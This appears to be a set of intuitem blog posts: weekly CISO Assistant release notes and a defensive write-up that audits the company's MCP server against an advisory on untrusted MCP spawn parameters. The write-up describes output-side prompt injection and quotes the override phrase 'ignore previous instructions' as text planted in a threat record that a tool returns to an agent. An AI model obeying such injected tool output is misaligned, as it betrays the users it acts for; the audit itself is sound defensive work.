auto-generate questions for respondents, reducing manual setup. Thanks to **@Mohamed-Hacene**. - **Respondent mode for third parties** — Third parties can now operate in respondent mode end-to-end, also from **@Mohamed-Hacene**. - **Respondent defaults — fix** — Defaults are now applied correctly. Thanks to **@eric-intuitem**. ## Vulnerabilities & Findings - **EPSS — individual data pulls and self-documented feeds** — Pull EPSS scores per CVE, with feeds that document themselves. - **CWEs and security advisories — feature flags** — Both can now be toggled via feature flags. Thanks to **@melinoix**. - **Functional tests — security advisories and CWEs** — Coverage added to the functional test suite, also from **@melinoix**. ## Framework & Library Updates - **IEC 62443 series outline** — A new outline covering the IEC 62443 industrial cybersecurity standards, with generated descriptions to help teams orient quickly. - **NIST CSF 1.1 — reference controls** — The framework now ships enriched with reference controls, mirroring the treatment given to NIST CSF 2.0 last week. - **🇫🇷 ANSSI — Sécurisation des systèmes de contrôle d'accès physique et vidéoprotection (v2.2)** — The ANSSI recommendations on physical access control and video surveillance systems are now available. Thanks to **@tarkadia**. - **🇲🇦 Moroccan Law n°09-08 — checklist** — A practitioner-oriented checklist accompanying the Moroccan personal data protection law that landed in W17. Thanks again to **@oulkhabou**. - **ANSSI AD Security Assessment Checklist — refresh** — The Active Directory checklist framework was updated. Thanks to **@tarkadia**. - **ISO 27001:2022 — typo fixes** — Two typos in the English wordings cleaned up. Welcome to **@kriss-b** for their first contribution. ## Data Wizard - **Perimeter import — new fields & documentation** — Enhanced perimeter import functionality. Thanks to **@tchoumi313**. - **Audit & risk assessment — perimeter now optional** — The data wizard no longer requires a perimeter on audit or risk assessment imports. Thanks to **@monsieurswag**. ## Exports & Reporting - **CyFun CCB export — observation as comment (column M)** — Observations now flow into column M as a comment when exporting CyFun CCB. ## Performance - **Faster audit data loading** — Audit pages now load faster while still honoring the implementation group filter on related fetches. - **RBAC filtering on `FieldsRelatedField`** — RBAC checks and list endpoint aggregates are now leaner. Thanks to **@nas-tabchiche**. ## Bug Fixes - **Threat search by `ref_id`** — Threats are now searchable by their `ref_id` again. Thanks to **@tarkadia**. - **Score definition updates — regression resolved** — A regression on score definition updates is fixed. Thanks to **@eric-intuitem**. - **Asset explorer — page title preserved** — Toggling the domain display no longer wipes the page title. - **Translations — SLA settings, vulnerability feeds, CWE, security advisory** — A round of translation fixes. Thanks to **@melinoix**. - **`docker-compose.sh` paths in config directories** — Corrected. Thanks to **@melinoix**. ## CI & Tooling - **Node heap size aligned with the Dockerfile** — CI now matches the Dockerfile heap settings, avoiding OOM divergence between local and CI builds. Thanks to **@nas-tabchiche**. - **Paraglide upgraded** — The i18n toolchain bumped to a newer version. ## New Contributors A warm welcome to two first-time contributors this week: - **[@kriss-b](https://github.com/kriss-b)** — fixed two typos in the English ISO 27001:2022 wordings. - **[@rborlone](https://github.com/rborlone)** — shipped Azure Blob Storage support as an alternative to S3, a substantial first contribution. --- For full details, check out the [v3.16.1](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.16.1) release notes on GitHub. --- ### What's New in CISO Assistant — Week 17, 2026 (v3.16.0) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w17 Published: 2026-04-26 Author: intuitem A single but very dense release this week. **v3.16.0** lands a long backlog of features, framework additions, and quality-of-life improvements across the platform. ## Workflow Power-Ups - **Merge applied controls** — Combine duplicate or overlapping applied controls into a single record without losing history. A frequently requested capability for teams cleaning up legacy data. - **Action plan for incidents** — Incidents now carry an action plan, mirroring the pattern already used elsewhere in the product so response work is structured and trackable. - **Cancelled status for risk scenarios** — A new lifecycle state for scenarios that no longer apply, distinct from "accepted" or "mitigated". - **Add an exception in the past** — Backdating exceptions is now allowed, so historical decisions can be recorded faithfully rather than being clamped to "today". - **Markdown justification field** — Justifications now render as markdown, so links, lists, and formatting carry through. Thanks to **@martinzerty**. - **Reset filters & clear cache button** — A single control to wipe table filters and refresh cached state when something looks off. ## Analytics & Dashboards - **Custom dashboard on the analytics extra tab** — Admins can embed a custom dashboard alongside the built-in analytics views, useful for plugging in a Metabase, Superset, or internal BI panel. ## Library Expansion Four substantial library additions this week: - **🇲🇦 Loi marocaine n° 09-08 (CNDP)** — The Moroccan personal data protection law, contributed by **@oulkhabou**. - **Règles OIV — Secteur "Transport Aérien" (2016)** — The French OIV (Operators of Vital Importance) sectoral rules for air transport, contributed by **@tarkadia**. - **Cadre de Conformité Cyber France (3CF) v3.1** — The latest revision of the French cyber compliance framework, also from **@tarkadia**. - **Framework name fix** — "Règles OIV — Secteur « Activités civiles de l'État »" had its display name corrected. ## Framework Enrichment - **NIST CSF 2.0 — recommended controls** — The framework now ships with recommendations attached to its subcategories, giving teams a head start on implementation. - **recyf enrichment** — Recommended controls added to the recyf framework as well. - **doc-pol → "key reference controls"** — `doc-pol` graduates into a curated set of key reference controls, with a Claude skill alongside it to map other frameworks against it. - **New skill: prepare mappings** — A Claude skill to help draft framework-to-framework mappings. - **Framework-Nazionale-C-DP fixes** — Several issues resolved in the Italian Framework Nazionale Cybersecurity & Data Protection. Thanks to **@eric-intuitem**. ## Vulnerabilities & Findings - **Context menu on vulnerabilities** — Right-click to quickly toggle severity and status without opening the detail view. - **Vulns table — source consistency and alias search** — The vulnerabilities table is now consistent in how it reports the source, and search now spans aliases. - **Wizard: detected_at and due_date on import** — Vulnerability imports can now carry detection and due dates directly. - **Findings — description column** — The findings table gains a description column for at-a-glance context. ## Incidents, Assessments & Domains - **Domain export/import — more objects covered** — The export/import scope grows, so domain transfers are more complete out of the box. - **Asset.is_business_function attribute** — A new attribute on assets, exposed in the data wizard. Thanks to **@martinzerty**. - **Click issue on incident export — fixed** — A small but annoying interaction bug. - **Journeys presets — implementation groups & generic pages** — Preset journeys can now reference implementation groups and generic pages, broadening their templating power. ## DPA, DORA & EBIOS - **DORA b_05.01.c0030 — empty foreign key fix** — The field now reads as empty rather than `0` when not applicable. Thanks to **@nas-tabchiche**. - **Translated questions in serializer, exports, and tree helpers** — Question translations are now respected end-to-end. Thanks again to **@nas-tabchiche**. - **Builder UX adjustments and bug fixes** — A round of polish on the framework builder, also from **@nas-tabchiche**. ## Performance - **Assets page load time** — Optimized to feel snappier on large inventories. - **Applied controls list load time** — Same treatment for the applied controls list. ## UX & Polish - **AutoComplete — truncate long options** — Long entries no longer blow out the dropdown layout. - **AutoCompleteSelect — enhancements** — Further refinement to the autocomplete behavior. Thanks to **@tchoumi313**. - **Reference link on entity assessment** — Backend persistence was missing; now fixed. - **Disable on-the-fly evidence creation from task autocomplete** — Temporarily disabled while the flow is reworked. - **Reset priority and impact on applied controls** — These fields can now be cleared, not just changed. - **SOA export — translation and ref_id ordering** — Additional controls now export in translated form and respect the ref_id order. - **Plural for target frameworks in campaigns** — Wording fix for multi-framework campaigns. Thanks to **@eric-intuitem**. ## Bug Fixes - **HTML export ordering on Postgres** — Order is now preserved on Postgres deployments. - **Scoring logic moved to backend** — Eliminates an inconsistency between client- and server-side scoring. - **Field visibility on the framework view** — Debugged. Thanks to **@martinzerty**. - **500 error & residual tabs when hiding fields** — Fixed by **@Mohamed-Hacene**. - **Perimeter fetching & Django validation** — More robust handling of validation errors. Thanks to **@tchoumi313**. - **Framework duplicate — UNIQUE constraint on long names** — No more failure when duplicating frameworks with long names. Thanks to **@nas-tabchiche**. - **Processing natures — no longer permission-gated** — Removed an unintended access restriction. - **`LICENSE_EXPIRATION` default check** — Now correctly recognizes `'unset'` as the default value. Thanks to **@martinzerty**. - **Legacy `existing_controls` column** — Risk assessment imports accept the legacy column again. Thanks to **@Mohamed-Hacene**. - **Missing i18n keys** — Filled in. Thanks to **@tarkadia**. - **MCP tools for exceptions management** — Updated to match the new exception model. - **Restart policy on the front container** — `restart: always` now set in every Docker Compose file. Thanks to **@Okuromatsu** for their first contribution. ## Helm - **Extra volumes & affinity config** — The Helm chart now exposes additional knobs for advanced deployments. Thanks to **@Nathanael-Mtd**. ## New Contributor A warm welcome to **[@Okuromatsu](https://github.com/Okuromatsu)**, who landed their first contribution this week — a small but real-world papercut fix on the Docker front-container restart policy. --- For full details, check out the [v3.16.0](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.16.0) release notes on GitHub. --- ### The 'mother of all AI supply chains' advisory: what it actually says, and how we audited our own MCP server URL: https://intuitem.com/auditing-mcp-servers-ox-advisory Published: 2026-04-24 Author: Abderrahmane Smimite Earlier this month, ox.security published an advisory framed as ["The Mother of All AI Supply Chains — Critical Systemic Vulnerability at the Core of the MCP"](https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/). It is well-reported and worth reading, but the headline frames a narrower technical finding than a casual reader might assume. We took it as a prompt to audit our own MCP server, `ca_mcp`, which ships with CISO Assistant and exposes our API to agentic LLM clients. This post walks through what the advisory actually describes, how we mapped it onto the real MCP attack surface, and how MCP server authors can do the same short audit on their own code. ## What the advisory actually describes The ox advisory documents arbitrary command execution reachable through untrusted STDIO spawn parameters in MCP _clients and orchestrators_. In the Model Context Protocol's stdio transport, a host process launches each MCP server by spawning a subprocess — and the command, arguments, and environment for that subprocess are read from a configuration source. When that configuration source is attacker-controllable, the host spawns whatever the attacker asked it to spawn. That is the bug. The affected products ox enumerates are all on the host/orchestrator side: - LiteLLM, LangChain - IBM Langflow, Flowise, Bisheng - GPT Researcher, Agent Zero, DocsGPT - Windsurf (IDE-integrated assistant) Notably absent: Anthropic's official MCP Python SDK (`mcp.server.fastmcp`). The SDK trusts its host to validate spawn parameters; the vulnerability lives in hosts that route untrusted input into that trust boundary — marketplace listings, shared project files, IDE settings sync, prompt-injected "please add this server" suggestions, and similar channels. Calling this "the core of MCP" is a little generous. It is a realistic, high-impact integration failure pattern in the ecosystem _around_ MCP — which is still worth taking seriously, because most MCP is running in that ecosystem. ## The real MCP attack surface, in four axes Setting aside ox's specific finding, an MCP deployment has four independently assessable trust boundaries: 1. **Spawn-parameter trust** (the ox axis). Does anything outside the user's direct control — a marketplace, a shared config file, a prompt — get to decide what binary the host launches, with what arguments, in what environment? 2. **Server-internal execution paths.** Given that a server is running and receiving tool calls, can a tool argument reach `subprocess`, `os.system`, `eval`, a templated shell string, or a path-traversal-capable file operation? 3. **Credential and network posture.** Where are the tokens, API keys, and TLS settings stored? What does the server reach out to, and with what verification? 4. **Output-side prompt injection.** Data returned from a tool is eventually concatenated into an LLM context. If any of it is attacker-influenceable (a threat description in a GRC tool, a ticket body, a log line), it becomes a prompt injection vector against the calling agent — not an RCE in the server, but a real vulnerability in the calling system. The ox advisory lives entirely on axis 1. Axes 2–4 are always worth checking, advisory or not. ## How ca_mcp sits on each axis `ca_mcp` is the MCP server shipped in `cli/ca_mcp/` of the `ciso-assistant-community` repository. It exposes CISO Assistant's REST API — perimeters, frameworks, audits, libraries, risk matrices, and so on — as MCP tools. **Axis 1 — spawn parameters.** `ca_mcp` is a server, not an orchestrator. It runs `FastMCP("ciso-assistant")` over `transport="stdio"`. It never spawns another MCP server, and it does not read a config of "sub-servers to launch." The ox vulnerability class is simply not expressible here — there is no field to attack. **Axis 2 — internal execution.** Grepping `cli/ca_mcp/` for `subprocess`, `os.system`, `os.popen`, `shell=True`, `eval(`, and `exec(` returns zero hits. Every tool is a thin wrapper around an authenticated `requests.get/post/patch/delete` call to CISO Assistant's REST API, with tool arguments passed as a JSON payload. The payload is validated server-side by Django REST Framework serializers before it touches any state. The one "import"-looking tool, `import_stored_library`, triggers a backend endpoint (`POST /stored-libraries/{urn}/import/`) that imports data _inside CISO Assistant_; the MCP process does no local file or library loading in its own process. **Axis 3 — credentials and network.** Config is read from environment variables (`API_URL`, `TOKEN`, `VERIFY_CERTIFICATE`) via `dotenv`, not from tool input. This is the right shape: caller-controllable fields cannot redirect the server at a different host or swap its credentials. Two residual concerns we are tracking: - The sample `cli/.mcp.json` stores a long-lived API token in plaintext. This is not the ox vulnerability — it is an ordinary secret-hygiene issue — but anyone with repo or filesystem access to that file gets full API rights for that user. Treat `.mcp.json` like any other secret file. - The same sample sets `VERIFY_CERTIFICATE=false`, which is fine for a localhost backend and unsafe the moment `API_URL` points anywhere else. If you run `ca_mcp` against a remote CISO Assistant instance, flip this back to `true`. **Axis 4 — output-side prompt injection.** This is the remaining live concern, and it is not specific to `ca_mcp`: a malicious or simply mischievous record inside CISO Assistant — say, a threat description containing `"ignore previous instructions and…"` — will be returned verbatim by a `get_threat` tool call and concatenated into the calling agent's context. The mitigation lives primarily at the client, not the server. We are evaluating whether to add a lightweight marker on tool outputs to signal "this is user-generated data, treat accordingly," but the durable answer is client-side output sandboxing, which the broader ecosystem is actively working on. ## A short audit for MCP server authors The checks we just walked through generalize. If you maintain an MCP server, run these: 1. **Grep for shell paths.** Search your server source for `subprocess`, `os.system`, `os.popen`, `shell=True`, `eval(`, and `exec(`. Zero hits is the target; every hit needs a justification that a tool argument cannot influence it. 2. **Trace every tool argument.** For each registered tool, follow its arguments to the first external boundary (HTTP call, SQL query, file path, template string). Confirm that boundary validates or escapes the input. Pay particular attention to path-typed arguments. 3. **Audit config sources.** Where does the server read its URLs, tokens, and trust settings from? If any of those can be set by a tool call or derived from tool input, you have a redirect-the-server primitive. 4. **Enumerate sinks of attacker-controllable strings.** Even pure read-only servers can be prompt-injection vectors for their clients. Write down which tool outputs can contain end-user-authored text, and make sure your docs warn integrators. 5. **Check your sample config.** Tokens checked into example files in the repository are a common and preventable leak. Use placeholders, not real secrets, and lint your `.mcp.json` in CI. If the first three come back clean, the ox advisory does not apply to you. Items 4 and 5 are still worth doing. ## Bottom line For CISO Assistant users: the ox.security MCP advisory does not affect `ca_mcp`, and no code changes are required. If you have a `cli/.mcp.json` in a shared repository, rotate the token inside it, and keep `VERIFY_CERTIFICATE=true` unless you are pointing at `localhost`. For MCP authors more broadly: read ox's finding as what it is — a vulnerability in how hosts trust their configuration — and use it as an occasion to audit your own server along all four axes. The ecosystem is new enough that the same handful of minutes of grep-and-trace you would do on any integration point will catch the majority of the real issues. --- ### What's New in CISO Assistant — Week 16, 2026 (v3.15.8 – v3.15.9) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w16 Published: 2026-04-19 Author: intuitem Two releases this week focus on hardening the platform, extending import/export coverage, and refining day-to-day workflows. ## Container Hardening **Hardened container images** (v3.15.8) — A long-running initiative lands: CISO Assistant containers have been hardened across the board. The enterprise edition was then realigned on top of the community edition so both editions share the same hardening baseline (v3.15.9). ## Cyfun 2025 - **Average-of-averages scoring logic** (v3.15.8) — A revised scoring approach to match Cyfun 2025 expectations, so scores computed in CISO Assistant match what the framework actually specifies. - **Cyfun audit export** (v3.15.9) — Audits can now be exported directly in Cyfun format. ## Import / Export A broad round of import/export work across several modules: - **TPRM exports** (v3.15.8) — Third-party risk management data can now be exported for reporting and archival. - **DORA — subcontracting chains in ROI exports** (v3.15.8) — The Register of Information export now correctly handles multi-level subcontracting chains. - **Sanitized finding export for round-trip** (v3.15.9) — Finding exports are cleaned up so they can be re-imported without churn. - **Risk assessment import/export update** (v3.15.9) — Refreshed format and handling for risk assessment data. - **CSV export — applied control "impact" attribute** (v3.15.8) — Fixes a regression where the impact field was missing or incorrect in CSV exports. ## Task Email Templates **Richer task notifications** (v3.15.9) — Task emails now include direct links and a detailed task list, so recipients can jump straight into the work without hunting through the UI. ## EBIOS RM & Risk - **Navigate back to parent study** (v3.15.9) — A new button in the strategic scenario detail view takes you back to the parent EBIOS study. - **Vulnerabilities linked to follow-ups** (v3.15.9) — The data wizard now relates vulnerabilities to the follow-ups they generate. - **Exception model — link attribute** (v3.15.9) — Exceptions can now carry a link, useful for referencing the approving ticket, document, or decision record. - **CRQ Studies — Executive Summary fix** (v3.15.8) — Fixes an error retrieving authors' emails that prevented the Executive Summary from loading. ## UX Improvements - **Asset graph — sorted domains and multi-level filtering** (v3.15.9) — Domains in the asset graph are now sorted, and multi-level domain filtering behaves correctly. - **Restored sidebar entries** (v3.15.9) — Presets and the tasks review entries are back in the sidebar after a regression. - **autocompleteSelect — match instead of partial text** (v3.15.8) — Selecting an existing item now actually selects it, rather than leaving partial text behind. Thanks to **@tchoumi313** for this fix. - **Matrix browser error fix** (v3.15.8) — Prevents a browser-side error on certain matrix configurations. ## CLI - **`--name` flag for assessments** (v3.15.9) — Name assessments directly from the CLI. ## Internationalisation - **French `currencyHelpText` typo fix** (v3.15.9) — Small but welcome polish. ## Dependencies - **pytest 9.0.2 → 9.0.3** (v3.15.8) — Rolled out across the backend, enterprise backend, and dispatcher. --- For full details, check out the [v3.15.8](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.15.8) and [v3.15.9](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.15.9) release notes on GitHub. --- ### What's New in CISO Assistant — Week 15, 2026 (v3.15.3 – v3.15.7) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w15 Published: 2026-04-12 Author: intuitem A packed week with five releases bringing hardware security keys, broader vulnerability management, a wave of new compliance frameworks, and plenty of UX refinements. ## Security Keys (FIDO2 / WebAuthn) **Hardware security keys as a second authentication factor** (v3.15.3) — CISO Assistant now supports FIDO2-compatible security keys, fingerprint readers, and other platform authenticators as a second factor. Two follow-up patches (v3.15.4, v3.15.5) hardened WebAuthn for cloud deployments by fixing the relying-party ID handling. ## Expanded Vulnerability Management **Epic: broader vulnerability management capabilities** (v3.15.7) — This release significantly expands what you can do with vulnerabilities in CISO Assistant, building on the MCP and API foundations shipped in v3.15.2. ## New Frameworks & Libraries Five community-contributed frameworks land this week: - **NIST CSF 2.0 Journey** (v3.15.3) — courtesy of new contributor **@blockanz**. - **ANS HospiConnect HOPEN2 Program Library** (v3.15.3) — contributed by **@lulustucru-dsn**. - **CyFun Small Self-Assessment translations** (v3.15.3) — contributed by **@fastlorenzo**. - **DGSSI Cloud Qualification (Morocco, arrêté 3-17-25)** (v3.15.6) — courtesy of new contributor **@oulkhabou**. - **French National Authority for Health — Quality of Care Certification** (v3.15.6) — contributed by **@ImanABS**. - **EUDI Wallet ARF High-Level Requirements** (v3.15.6) — also contributed by **@ImanABS**. ## UX Improvements - **Orphan controls identification** (v3.15.3) — Spot applied controls that are not linked to any compliance requirement, making it easier to clean up or reassign stale controls. - **Yearly tasks review UI** (v3.15.3) — The yearly review workflow has been polished for a smoother experience. - **New timeline visualization** (v3.15.6) — A redesigned timeline component with better performance and a cleaner look. - **EBIOS RM light mode** (v3.15.6) — Workshop 5 scenario generation now supports a "light" mode that follows a cascading logic to build scenarios from whatever data is available, so you no longer need every preceding workshop to be fully completed. - **Batch label actions** (v3.15.6) — Apply or remove labels in bulk on applied controls and findings. - **Risk analysis PDF — scenario pagination** (v3.15.6) — Scenarios now start on a new page in risk analysis PDF exports, improving readability. - **Client name in page title** (v3.15.6) — The browser tab now reflects the current client name, contributed by **@Axxiar**. - **Inlined documentation on Word export** (v3.15.6) — Supported attributes are now documented inline in Word exports. ## Framework Builder The framework builder introduced in v3.15.0 continues to mature with a round of improvements (v3.15.6), including better handling of requirement hierarchies and usability fixes. ## Internationalisation - **Lithuanian language support** (v3.15.3) — A new locale for the platform interface. ## Bug Fixes - Regression on attaching existing items to applied controls (v3.15.3). - Analytics dashboard chart pointer console error (v3.15.3). - Excel file upload on Mac after the recent upgrade (v3.15.3). - Applied control duplication and copy-from-reference-controls regressions (v3.15.3). - Missing link for non-compliant items and batch CSF actions (v3.15.3). - Implementation groups for dynamic frameworks (v3.15.6). - TISAX framework missing version (v3.15.6). - Applied controls export/import inconsistencies (v3.15.6). - Local MFA handling when SSO is enabled (v3.15.6). - SSO users unable to manage Personal Access Tokens (v3.15.6). ## Security - **Lupa dependency upgrade** (v3.15.7) — Resolves a Dependabot security alert. - **Django 6.0.3 to 6.0.4** (v3.15.6) — Picks up the latest Django security and stability fixes. - **cryptography 46.0.6 to 46.0.7** (v3.15.6) — Updated across backend, CLI, and automation packages. ## Infrastructure - **Migration to Vite 6** (v3.15.6) — The frontend build toolchain has been upgraded to Vite 6. - **OIDC debug mode** (v3.15.6) — `extra_data` is now visible in debug mode for easier OIDC troubleshooting. ## New Contributors Welcome to **@blockanz** and **@oulkhabou**, who both made their first contributions this week! --- For full details, check out the [v3.15.3](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.15.3) through [v3.15.7](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.15.7) release notes on GitHub. --- ### What's New in CISO Assistant — Week 14, 2026 (v3.15.1 – v3.15.2) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w14 Published: 2026-04-05 Author: intuitem Two patch releases this week refine the major features shipped in v3.15.0 while introducing DORA incident reporting and expanding the MCP server's capabilities. ## DORA Incident Reporting **DORA incidents reporting** (v3.15.2) — Organisations subject to the Digital Operational Resilience Act can now manage and report ICT-related incidents directly within CISO Assistant. This dedicated workflow streamlines the classification, tracking, and documentation of incidents in line with DORA requirements. ## MCP Server — Vulnerability Support **Vulnerability capabilities for the MCP server** (v3.15.2) — The CISO Assistant MCP server now exposes vulnerability management endpoints, allowing AI-powered agents and external integrations to query, create, and update vulnerabilities programmatically. Combined with the new **reverse foreign keys for vulnerabilities** on nested tabs, it is now easier than ever to see how vulnerabilities relate to other objects across the platform. ## Framework Builder Fixes Two targeted fixes for the framework builder introduced in v3.15.0: - **Preview rendering** now works correctly, so you can verify your custom framework before saving (v3.15.2). - **Parent-child requirement ordering** is preserved when saving, ensuring the hierarchy you define matches what gets stored (v3.15.2). ## Applied Controls Improvements - **Degraded status** (v3.15.1) — Applied controls now support a "degraded" status, giving teams a more nuanced way to communicate when a control is in place but not operating at full effectiveness. The kanban view has been updated with matching styling. - **Layout fix** (v3.15.1) — The applied controls detail view now renders correctly when a reference control is attached. ## Scoring & Assessment - **Scoring labels regression fix** (v3.15.1) — A regression that prevented scoring labels from displaying has been resolved. - **Seats count fix** (v3.15.1) — Seat counting logic has been corrected for accurate license management. ## Security - **Removed eval()-based template filter** (v3.15.2) — A template filter that relied on `eval()` for `isinstance` checks has been replaced with a safer implementation, eliminating a potential code-injection vector. ## Internationalisation - **Spanish translations for ISO 27005 risk matrix** (v3.15.2) — courtesy of new contributor **@iamrubeng**. - **German language support for risk matrices** (v3.15.2) — contributed by **@hlederhaas**. - **French translation for EBIOS RM attack path stakeholder types** (v3.15.2). ## Policy Management - **Published status sync for policy documents** (v3.15.2) — The `is_published` flag on policy documents now correctly propagates to the parent policy object, keeping listing views in sync with the actual publication state. ## Infrastructure - **PyTorch-cpu for RAG inference** (v3.15.1) — The RAG container image has been switched to PyTorch-cpu, significantly reducing image size without affecting inference quality for current workloads. ## New Contributors Welcome to **@iamrubeng** and **@glitch-ux**, who both made their first contributions this week! --- For full details, check out the [v3.15.1](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.15.1) and [v3.15.2](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.15.2) release notes on GitHub. --- ### What's New in CISO Assistant — Week 12, 2026 (v3.14.5 – v3.15.0) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w12 Published: 2026-03-29 Author: intuitem A landmark week for CISO Assistant — three releases culminating in v3.15.0, which brings a built-in chat mode, a framework builder, and a visual risk matrix editor among other major additions. ## Chat Mode **Built-in chat** (v3.15.0) — CISO Assistant now includes a chat mode directly within the application. Users can interact conversationally with the platform, making it faster to navigate, query, and act on GRC data without leaving the interface. This feature is currently in **alpha** — expect rough edges and rapid iteration in upcoming releases. ## Framework Builder & Questionnaire Respondent **Framework builder and revamped questionnaire respondent mode** (v3.15.0) — A new framework builder lets organisations create custom frameworks directly inside CISO Assistant. Alongside it, the questionnaire respondent experience has been completely overhauled, making it easier for internal and external respondents to complete assessments. The framework builder is available through **experimental mode** for now — enable it in your settings to try it out. Note: this is a breaking change — check the release notes if you have custom integrations relying on the previous questionnaire API. ## Risk Management **Visual editor for risk matrix** (v3.14.5) — Risk matrices can now be designed and modified through a visual drag-and-drop editor, replacing the previous form-based approach. This makes it significantly more intuitive to define probability/impact grids and colour-code risk levels. **Improvements to matrix management** (v3.15.0) — Additional fixes and refinements to the new matrix editor, including better handling of edge cases and score toggling with average-of-averages calculation support. **Risk scenario edit page layout** (v3.14.5) — The risk scenario editing view has been reorganised for a cleaner, more logical layout. ## Universal Search **Fuzzy search across the platform** (v3.14.5) — A new universal search bar with fuzzy matching lets users find any object — controls, risks, assets, frameworks — from a single entry point. Partial matches and typos are handled gracefully, dramatically reducing the time spent navigating between sections. ## Compliance & SoA **Statement of Applicability generation** (v3.15.0) — Users can now generate a Statement of Applicability (SoA) directly from CISO Assistant, pulling together control selections and justifications into a structured document ready for auditors. **Select controls from suggestions** (v3.15.0) — When mapping controls, the UI now offers relevant suggestions that can be selected in-line, speeding up the process of building out compliance mappings. **Sync applied controls to reference controls** (v3.15.0) — Applied controls can now be synchronised back to their reference control definitions, keeping organisational control catalogues consistent with what is actually deployed. ## Data Wizard **Vulnerability import** (v3.14.6) — The data wizard now supports importing vulnerabilities, joining the existing import capabilities for assets, controls, and risks. This closes a key gap for organisations that manage vulnerability data in external scanners or spreadsheets. **Cost field on applied controls** (v3.15.0) — The applied control import record now includes a cost field, aligning the data wizard with the cost-tracking features introduced in previous releases. ## GDPR & Personal Data **Batch input for personal data** (v3.15.0) — The GDPR module now supports batch input operations for personal data entries, along with several additional improvements to the data processing workflow. ## EBIOS RM - Return button added to the Ebios study view, and owners are now filterable (v3.14.5). - Navigation button from stakeholder view back to workshop 3 (v3.14.6). - Multiple UI improvements on the EBIOS RM report (v3.15.0). ## UX Improvements **Expand/collapse requirements tree** (v3.15.0) — The requirements tree can now be fully expanded or collapsed with a single click, making it much faster to navigate large frameworks. **AutocompleteSelect handles large sets** (v3.14.5) — When many items are selected, the autocomplete component now displays a compact "+N" indicator instead of overflowing the field. **Calendar view improvements** (v3.15.0) — The calendar view has received visual polish for better readability. **Better boolean value display** (v3.15.0) — Boolean fields now render with contextual meaning and a neutral colour option, replacing the previous raw true/false display. This is a breaking change for custom components that relied on the old rendering. **Better threats aggregation rendering** (v3.15.0) — The threats aggregation view has been improved for clarity. ## Internationalisation **Korean language support** (v3.14.5) — CISO Assistant is now available in Korean, thanks to new contributor @SeungWoonSong. ## Framework & Library Updates - **PASSI** (v3.15.0) — Added support for the PASSI (Prestataires d'Audit de la Sécurité des Systèmes d'Information) framework, contributed by new community member @Arthur314159. ## Security & Authentication **OIDC list handling and recursion depth** (v3.14.5) — The OIDC email claim lookup now handles list-type claims and adds a maximum depth to the recursive search, preventing runaway lookups with deeply nested token structures. ## Bug Fixes - Guard against missing approver on approval workflows (v3.14.5). - Risk donut chart values are now consistent (v3.14.5). - Django settings usage standardised across the codebase (v3.14.5). - Fallback path management for libraries corrected (v3.14.6). - Asset security objectives offset fixed at import (v3.14.6). - Sync-to-actions extended result behaviour corrected (v3.14.6). - Applied controls can now be filtered by multiple statuses simultaneously (v3.15.0). - Risk assessment folder checking is more consistent (v3.15.0). ## New Contributors - **@SeungWoonSong** — Korean language support (v3.14.5) - **@Arthur314159** — PASSI framework library (v3.15.0) Welcome aboard! --- For the full list of changes, see the [v3.14.5 – v3.15.0 releases on GitHub](https://github.com/intuitem/ciso-assistant-community/releases). --- ### What's New in CISO Assistant — Week 11, 2026 (v3.14.1 – v3.14.4) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w11 Published: 2026-03-22 Author: intuitem Four releases this week deliver a headline feature — a full markdown policy editor with lifecycle and export capabilities — alongside persistent UI state, cost tracking on action plans, and important SSO security improvements. ## Policy Management **Markdown policy editor with lifecycle and export** (v3.14.3) — Users can now author and edit policies directly in markdown within CISO Assistant, complete with lifecycle states (draft, review, approved, retired) and the ability to export polished documents. This removes the need to maintain policies in external tools and keeps everything linked to the controls and frameworks they support. ## Security & Authentication **SSO token via cookie** (v3.14.1) — The SSO flow now transmits the authentication token via an HTTP-only cookie instead of embedding it in the URL. This closes a potential token-leakage vector through browser history, server logs, and referrer headers. **Deep search for OIDC email claims** (v3.14.3) — When the identity provider nests the email claim inside a complex token structure, CISO Assistant now performs a recursive search to locate it, improving compatibility with non-standard IdP configurations. **TLS 1.2 for SMTP** (v3.14.3, v3.14.4) — A new environment variable allows operators to force TLS 1.2 for outbound SMTP connections, with improved compatibility handling in v3.14.4. This is relevant for organisations whose mail relays require a specific TLS floor. ## UX Improvements **Modernised command palette** (v3.14.1) — The command palette has been visually refreshed with a modern look and now includes an indicator on the main page so new users can discover it more easily. **Persistent table filters** (v3.14.4) — Table filter selections are now saved to the browser's localStorage, so your preferred views survive page reloads and navigation. Several additional minor UI fixes are bundled in the same release. **Auto-generated IDs** (v3.14.1) — When creating objects, the ID field now clearly indicates that it will be auto-generated if left blank, reducing confusion for users who were unsure whether a manual ID was required. **Filter by asset in measures** (v3.14.1) — The measures (applied controls) list can now be filtered by asset, making it straightforward to answer "which controls protect this specific asset?" **Accreditation (homologation) improvements** (v3.14.3) — Multiple usability refinements to the accreditation object make it easier to manage security accreditation workflows end-to-end. ## Cost Tracking **Cost summary on action plans** (v3.14.1) — Action plans now display a cost summary, rolling up the estimated and actual costs of individual measures. This also aligns with the CRQ IAM model, making it easier to tie remediation spend to quantified risk reduction. ## Framework & Library Updates - **ReCyF** (v3.14.1) — Added support for the ReCyF (Reference Cyber Framework). - **ReCyF to NIS2 2024/2690 mapping** (v3.14.2) — A mapping between ReCyF and the NIS2 implementing regulation (2024/2690) is now available, letting organisations trace controls across both frameworks. ## DORA Compliance - Linter messages have been simplified for clarity, and a bug affecting data storage/processing location validation has been fixed (v3.14.1). - Duplicate XBRL messages have been removed from the validation output (v3.14.1). ## Performance **Lazy mode on applied-controls for findings** (v3.14.3) — The applied-controls field on findings now uses lazy loading, preventing slowdowns in environments with a large number of controls. ## Bug Fixes - Custom role editing works correctly again (v3.14.1). - Audit editing inside an enclave no longer fails (v3.14.1). - Mapping inference internal structure corrected 